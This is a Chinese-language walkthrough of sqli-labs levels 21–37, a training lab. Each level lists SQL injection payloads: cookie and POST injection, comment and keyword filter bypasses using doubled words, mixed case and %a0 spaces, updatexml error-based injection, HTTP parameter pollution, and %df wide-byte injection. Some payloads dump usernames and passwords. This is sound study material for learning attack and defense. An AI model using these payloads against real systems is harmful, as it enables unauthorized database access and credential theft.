1. 程式人生 > 實用技巧 >sqli-labs 21-37關卡

sqli-labs 21-37關卡

less 21

“基於’)字元型的Cookie注入”
注入語句:
1’) union select 1,database(),3#
編碼:MScpIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyM=
在這裡插入圖片描述

知識點:
在這裡插入圖片描述

經過程式碼審計,需要把cookie的值先進行base64加密,才能得到正確的回顯資料

less 22

“基於”字元型的Cookie注入”
注入語句:
1” union select 1,database(),3#
編碼:MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzIw==
同less 21

less 23

“過濾註釋的GET型注入“

Payload:
?id=-1’ union select 1,database(),3 or ‘1’='1 //對–+、#等註釋符進行了過濾
在這裡插入圖片描述

知識點:
原始碼對 --+、#進行了過濾,所以這裡我們只能使用and或者or語句進行閉合
當輸入1’ or ‘1’=’1時,即‘1‘=’1‘,與原語句的後半部分閉合,進而實現注入。

less 24

“二次注入”
註冊使用者名稱為admin‘ --+的新使用者,登入後修改密碼,登入使用者名稱為admin&&密碼為修改後密碼,可登陸成功
原理:
使用者向資料庫插入惡意語句。
在使用者註冊時,僅對特殊字元進行了轉義,判斷輸入兩次密碼是否一致,然後將使用者鍵入,將資料插入至資料庫。當修改密碼時,直接去除了資料庫中的資料,並對該使用者的密碼進行了更新。

防禦:
1.對外部提交資料謹慎
2.從資料庫取資料時,不能輕易相信查詢出的資料,要做到同樣的轉義或是甄別

less 25

“過濾“or”和“and”的單引號注入”
Payload:
1.?id=-1’ union select 1,database(),3 or ‘1’=‘1 / ? id=-1’ union select 1,database(),3 and ‘1’=‘1 //無反應 過濾了and和or,無法使用and或者or語句進行閉合
2.?id=-1’ union select 1,database(),3 --+ //獲得資料庫
3.?id=-1’ union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+ //獲得資料表

知識點:
因為過濾了or和and 所以凡是涉及到or、and以及單詞中包含“or”或“and“的都需要對”or“和”and“雙寫進行繞過。

less 25a

“過濾“or”和“and”的注入”
Payload:
1.?id=-1 union select 1,database(),3 --+
2.?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+
同less 25

less 26

“基於‘的過濾”and”、”or”、註釋和空格的注入”
Payload:
1.?id=.'aandnd(updatexml(1,concat(0x7e,database()),1));%00 //經過測試發現過濾掉了註釋符、空格、and、or,獲得資料庫名
2.?id=.'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1) //獲得表名
Updatexml函式同less 5、過濾“or“和”and“同less 25、過濾註釋符同less 23

知識點:
考慮空格:用以下幾種url編碼代替空格即可:()繞過、%a0空格
過濾了註釋符,可以用;%00成功繞過,也可以用and ‘1’=‘1拼接後面的單引號
由於-被過濾所以聯合注入時,所以id引數不能用負數,可以隨便找個字元或者大一點的數字,讓他查詢為空從而顯示後邊的

less 26a

“基於‘)的過濾註釋和空格的注入”
Payload:
1.?id=1’) ;%00 //回顯正常
2. ?id=.’)aandnd(updatexml(1,concat(0x7e,database()),1));%00
同less 26

less 27

“基於‘的過濾union、select、空格和註釋符的注入“
Payload:
1.?id=1’ union select 1,2,3 or ‘1’=’1 //顯示過濾union、select、空格
2.?id=.’%a0UNiON%a0SeleCt%a01,basedata(),3%a0;%00 //獲得資料庫
3.?id=.’%a0UNiON%a0SeleCt%a01,group_concat(username,password),3%a0from%a0users;%00 //獲得資料

知識點:
當過濾union、select等詞無法使用聯合注入時,可以使用updatexml()等報錯函式進行注入
也可以使用對union、select大小寫混合寫或者是雙寫的方式進行注入

less 27a

“基於”的過濾union、select、空格和註釋符的注入“
Payload:
1.?id=1”;%00
2.?id=.”%a0UNiON%a0SeleCt%a01,group_concat(username,password),3%a0from%a0users;%00
同less 27

less 28

“基於’)過濾union和select等的注入”
Payload:
1.?id=1’;%00 //回顯異常
2.?id=1’);%00 //回顯正常
3.?id=.’) %a0union%a0union%a0select%a0select%a01,group_concat(username,password),3%a0from%a0users;%00
同less 27

知識點:
過濾union select這一個組合,也要過濾空格,可以採用union union select select方法繞過,空格照樣用%0a替換

less 28a

“基於’)過濾union和select的注入”
Payload:
1.?id=1’;%00 //回顯異常
2.?id=1’);%00 //回顯正常
因為只過濾了union和select,所以用union union select select方法繞過即可
同less 28

less 29

“基於單引號的引數汙染繞過”
Payload:
?id=1&id=-1’ union select 1,database(),3 --+

知識點:
在HTTP協議中允許同樣名稱的引數出現多次,針對同樣名稱的引數出現多次的情況,不同的伺服器的處理方式會不一樣。
在這裡插入圖片描述

因為是PHP/Apache伺服器,所以獲取到的引數是第二個引數。
如果對第一個引數注入,就直接會被攔截。所以對第二個引數注入。

less 30

“基於"的引數汙染繞過”
Payload:
?id=1&id=-1" union select 1,2,3 --+
同less 29

less 31

“基於")的引數汙染繞過”
Payload:
?id=1&id=-1") union select 1,2,3 --+
同less 29

less 32

“寬位元組注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+

知識點:
這裡使用函式將特殊字元轉化為實體,就是說在字元轉義,新增‘\’。 設定寬位元組字符集,這裡為GBK字符集,GBK字符集佔用兩個位元組。當我們測試的時候,輸入“%df‘”,這個時候如果php函式是使用的addslashes()的時候,會在冒號的前面加上’\’。也就變成了%df\’ 。對應的url編碼是%df%5c’.這時候網站字符集是GBK,MYSQL使用的編碼也是GBK的話,就會認為%df\是一個漢字,這樣的話,單引號前面的\就不起作用了,從而轉義失敗,題目就會出現報錯資訊。

less 33

“get方式寬位元組注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+
同less 32

less 34

“post方式寬位元組注入”
注入語句:
admin%df’ union select 1,database() #
在這裡插入圖片描述

同less 32

less 35

“數值型注入”
Payload:
?id=-1 union select 1,database(),3 --+
同less 2

less 36

“寬位元組注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+
知識點:
mysql_real_escape_string轉義SQL 語句中使用的字串中的特殊字元,並考慮到連線的當前字符集。mysql_real_escape_string()不轉義“%”和“_“。

less 37

“寬位元組post注入“
注入語句:
admin%df’ union select 1,database() #
在這裡插入圖片描述

同less 32